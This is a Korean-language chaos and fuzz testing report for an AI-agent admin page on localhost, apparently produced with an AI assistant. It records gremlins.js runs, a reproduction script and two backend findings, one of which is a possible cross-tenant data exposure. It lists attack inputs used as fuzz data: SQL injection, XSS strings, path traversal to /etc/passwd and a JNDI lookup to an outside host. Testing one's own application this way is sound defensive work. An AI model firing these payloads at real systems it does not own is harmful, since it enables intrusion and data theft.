19f7615367
Build & Deploy to K8s / build-and-deploy (push) Successful in 4m34s
- 2026-05-02-agents-gremlins-report.md — AI 에이전트 페이지 그렘린 1차 결과 - 2026-05-02-gremlins-jsonb-autopilot-report.md — 종합 리포트 (audit-log fix + AI 모듈 JSONB 일괄 적용 + Phase 4 검증 결과 + follow-up 항목) 향후 follow-up (별도 PR 권장): - H1: AiAgentApiKey listAll cross-tenant 노출 (security) - M1: AiLlmProvider.config 평문 노출 가능성 - M3: AiAgentProviderController create/update model 직접 노출 - M4: workspace/page.tsx 잔여 connectors 직접 접근 5곳 Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
6.7 KiB
6.7 KiB
AI 에이전트 관리 페이지 — 그렘린 카오스 테스트 리포트
- 일시: 2026-05-02
- 대상:
http://localhost:9772/admin/aiAssistant/agents - 방법: Claude-in-Chrome MCP + gremlins.js v2.2.0 + Fuzz Payload 주입
- 계정: Invyone (최고 관리자)
- 테스트 시점 페이지 상태: 에이전트 추가 모달 + Tweaks 패널 열림
1. 테스트 구성
| 단계 | 도구/방식 | 횟수 | 종(Species) |
|---|---|---|---|
| 1차 그렘린 | gremlins.js | 100 | clicker, toucher, formFiller, scroller, typer |
| 2차 그렘린 | gremlins.js | 500 | 동일 5종 |
| Fuzz Payload | input/textarea 직접 주입 | 36 (3 input × 12 payload) | SQL injection, XSS, 긴 문자열, 유니코드, JNDI, path traversal 등 |
사용한 Fuzz Payload
"", "' OR '1'='1", "<script>alert(1)</script>", "A".repeat(3000),
"𝒯𝑒𝓈𝓉 ㅎ안녕 🎉🔥", "../../../etc/passwd", "0", "-1", "9".repeat(20),
"<img src=x onerror=alert(1)>", "${jndi:ldap://x.com/a}", " "
수집기 설치 항목
window.error이벤트unhandledrejection이벤트console.error패치fetch패치 (status >= 400 캐치)XMLHttpRequest.open패치 (status >= 400 캐치)
2. 결과 요약
| 항목 | 1차(100) | 2차(500) | Fuzz(36) |
|---|---|---|---|
| 소요 시간 | 3.5s | 12.3s | 1.6s |
| 신규 버그 | 0 | 0 | 1 |
| URL 변경 | 없음 | 없음 | 없음 |
총 발견 이슈: 2건 (그렘린 폭격으로 발견 1, 부수 검증으로 발견 1)
3. 발견된 이슈
🟡 Issue #1 — GET /api/ai-agents 500 산발 발생
- 상황: 2차 폭격 + fuzz 진행 중 1회 발생
- 증거:
xhr_5001건 수집 (메시지는 Claude-in-Chrome 보안 필터로 마스킹되었으나 path 추출 결과/api/ai-agents) - 재현 시도: 직접 fetch 9건 — 모두 200 OK
?빈 query?search=?search=test?search=' OR '1'='1(인코딩 / 비인코딩)?page=-1?page=AAAA...(300자)?id=null
- 추정 원인:
- Race condition (동시 요청 폭주)
- 일시적 DB lock 또는 트랜잭션 충돌
- Spring 측 일시적 세션 검증 실패
- 심각도: 🟡 중 (재현 불가, 산발성)
- 권장 조치:
- Spring
application.log의 해당 시각 (ts: 1777686237317근방) 스택 트레이스 확인 MDC로 request id 남겨 향후 동일 패턴 추적
- Spring
🔴 Issue #2 — UI/API 데이터 불일치 ⭐ 핵심
- 상황: 그렘린 폭격과 무관, 검증 과정에서 발견
- 증거:
- 화면 표시: "등록된 에이전트가 없습니다"
- 실제 API 응답:
{ "success": true, "data": [{ "id": 13, "agent_id": "agent-766beb3a", "name": "UI 테스트 에이전트 (수정됨)", "description": "두 번째 에이전트 (UI 흐름)", "model": "claude-sonnet-4-20250514", ... }] }
- 추정 원인 후보:
- 테넌트 컨텍스트 불일치 — 백엔드는 모든 회사 데이터 반환, 프론트가 회사 필터링 후 빈 배열 인식
- React Query 캐시 stale — 이전 빈 응답을 보여주고 재검증 안 함
- API 라우팅 분기 —
/api/ai-agents와 화면이 사용하는 endpoint 가 다름 (페이지에서 별도 endpoint 호출 가능성)
- 심각도: 🔴 높음
- CLAUDE.md 멀티테넌시 가드와 직결 — 다른 회사 데이터 노출 가능성
- 권장 조치:
frontend/app/(main)/admin/aiAssistant/agents/page.tsx의 데이터 fetch 코드 확인 — 어느 endpoint 호출?- 백엔드
ai-agentsmapper 의companyCodeFilterinclude 여부 확인 - 직접 호출 응답에
company_code가 있는지 확인
4. 잡힌 것 / 잡히지 않은 것
| 항목 | 결과 |
|---|---|
| UI 크래시 | ✅ 없음 |
| 무작위 클릭 600회 안정성 | ✅ 견고 |
| 폼에 SQL injection / XSS 입력 시 클라이언트 측 폭주 | ✅ 없음 |
| 긴 문자열(3000자) 입력 처리 | ✅ 정상 |
| Console 에러 (앱 발생) | ✅ 0건 |
| Console 워닝 | 🟡 1건 — Radix DialogContent 의 aria-describedby 누락 (a11y) |
| 백엔드 5xx | 🟡 1건 (산발) |
| 데이터 일관성 | 🔴 1건 (UI/API 불일치) |
| Visual regression | 미검증 (별도 도구 필요) |
5. 결론 및 다음 단계
결론
- 에이전트 관리 페이지는 무작위 폭격에 매우 견고
- 그렘린의 본래 목적(클라이언트 측 크래시 발견)으로는 큰 수확 없음
- 그러나 부수 검증(fetch 가로채기)으로 의미 있는 백엔드/데이터 이슈 2건 발견
다음 단계
- Issue #2 (데이터 불일치) 즉시 조사 — 가장 중요
- Issue #1 재현 시도 — 동시 다발 요청 (
Promise.all× 50) 으로 race condition 유발 - 다른 페이지에도 동일 절차 적용 — 사이드바 메뉴 자동 순회 + 그렘린 + fetch hook
- Radix Dialog
aria-describedby추가 (a11y 개선, 1줄 수정)
재사용 가능한 자산
- 본 테스트 절차를 OMC 스킬로 전환 →
/oh-my-claudecode:gremlins같은 명령으로 재실행 - Playwright + axe-core + page.on('response') 조합으로 CI 통합 가능
6. 사용한 스크립트 (재현용)
// 1. 다이얼로그 차단 + 수집기 + gremlins 로드
window.alert = () => {};
window.confirm = () => true;
window.prompt = () => '';
window.__gremBugs = [];
window.addEventListener('error', e => window.__gremBugs.push({ type:'window.error', msg:e?.message, url:location.href, ts:Date.now() }));
window.addEventListener('unhandledrejection', e => window.__gremBugs.push({ type:'unhandledrejection', msg:String(e.reason), url:location.href, ts:Date.now() }));
const origFetch = window.fetch;
window.fetch = async (...args) => {
const res = await origFetch(...args);
if (res.status >= 400) {
const u = typeof args[0] === 'string' ? args[0] : args[0]?.url;
window.__gremBugs.push({ type:`http_${res.status}`, msg:`${u} → ${res.status}`, url:location.href, ts:Date.now() });
}
return res;
};
await new Promise((res, rej) => {
const s = document.createElement('script');
s.src = 'https://unpkg.com/gremlins.js@2.2.0/dist/gremlins.min.js';
s.onload = res; s.onerror = rej;
document.head.appendChild(s);
});
// 2. 폭격
await window.gremlins.createHorde({
species: [
window.gremlins.species.clicker(),
window.gremlins.species.toucher(),
window.gremlins.species.formFiller(),
window.gremlins.species.scroller(),
window.gremlins.species.typer()
],
mogwais: [],
strategies: [window.gremlins.strategies.distribution({ delay: 15, nb: 500 })]
}).unleash();
// 3. 결과
console.log(window.__gremBugs);